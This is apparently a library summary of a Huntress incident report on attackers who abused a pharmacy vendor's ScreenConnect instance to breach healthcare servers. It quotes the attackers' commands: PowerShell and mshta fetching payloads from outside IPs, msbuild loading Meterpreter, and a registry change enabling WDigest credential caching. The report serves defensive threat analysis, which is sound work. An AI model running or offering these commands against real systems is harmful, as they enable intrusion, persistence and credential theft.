# Bitter Pill | Huntress

Threat actor abused a legitimate ScreenConnect instance tied to Transaction Data Systems to gain initial access to multiple healthcare/pharma servers, then installed rogue RATs and ran Meterpreter.

- Payout: Real-world hack
- Severity: high
- Program: Transaction Data Systems
- Analysis by: Huntress
- Disclosed: 2023-11-09
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/third-party-pharmaceutical-vendor-linked-to-pharmacy-and-health-clinic-cyberattack
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-third-party-pharmaceutical-vendor-linked-to-pharmacy-and-health-clinic-cyberattack
- Tags: area:cloud domain:infra impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:high tech:windows technique:recon technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** Locally hosted ScreenConnect remote access instance on Windows Server 2019 endpoints
**Root cause:** Attackers abused a legitimate, locally hosted ScreenConnect instance (rs.tdsclinical[.]com) belonging to Transaction Data Systems, using a shared account to gain initial access to client endpoints, then installed additional ScreenConnect/AnyDesk instances for persistence.
**Steps:**
1. Access ScreenConnect instance A via account `[redacted 1]`; download and launch `ConnectWiseControl.ClientSetup.msi` to install instance B
2. Use instance B with `[redacted 1]` account to reconnect to endpoint
3. On Oct 28 use `[redacted 2]` account on instance B to run `powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://2.57.149[.]103/a.msi', 'C:\Users\Administrator\Documents\a.msi') }"`
4. Launch a.msi via MsiExec.exe to install ScreenConnect instance C connecting to 45.66.230[.]146:8041
5. Via instance C run `powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://119.91.138[.]133:443/test.xml', 'c:\programdata\test.xml')"`
6. Execute `C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\programdata\test.xml` to load Meterpreter in memory
7. On endpoint 2, transfer s.msi via instance B to install instance D connecting to 185.12.45[.]98:8041
8. Download and launch AnyDesk MSI, create `manager` local admin account, run Advanced IP Scanner, then `mshta http://119.91.138[.]133:9999/5E1Ch` and set WDigest `UseLogonCredential=1`
**How found:** Huntress SOC monitored endpoint logs, noticed repeated ScreenConnect connect/disconnect events under a shared account across geographically separated organizations, and correlated shared instance B, shared account, and shared test.xml download across endpoints.
**Exploitation:** Initial access via legitimate ScreenConnect instance B tied to Transaction Data Systems using a shared account; attacker pivoted to install rogue ScreenConnect instances C/D and AnyDesk for persistence, downloaded C# payload test.xml compiled via msbuild to load Meterpreter, ran AD enumeration and mimikatz log parsing, created local admin account, and enabled WDigest credential caching for future credential theft.
**Escalation:** Created `manager` local Administrator account to re-enter via ScreenConnect instance D, enabling further tooling (Advanced IP Scanner, mshta) and credential access via WDigest registry change.
**Insight:** Legitimate RMM tools like ScreenConnect hosted by a vendor are a high-value initial-access vector: pivot on shared instance IDs, shared accounts, and identical payload filenames across unrelated victim orgs to link intrusions to a single upstream compromise.

## Proof of concept (copied exactly from the original report)

**PowerShell downloads a.msi via ScreenConnect**

```
powershell  -command "& { (New-Object Net.WebClient).DownloadFile('http://2.57.149[.]103/a.msi', 'C:\Users\Administrator\Documents\a.msi') }"
```

**msbuild executes test.xml payload**

```
C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe  C:\programdata\test.xml
```

**mshta, taskkill, WDigest registry commands**

```
mshta http://119.91.138[.]133:9999/5E1Ch
taskkill  /F /IM mshta.exe
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
```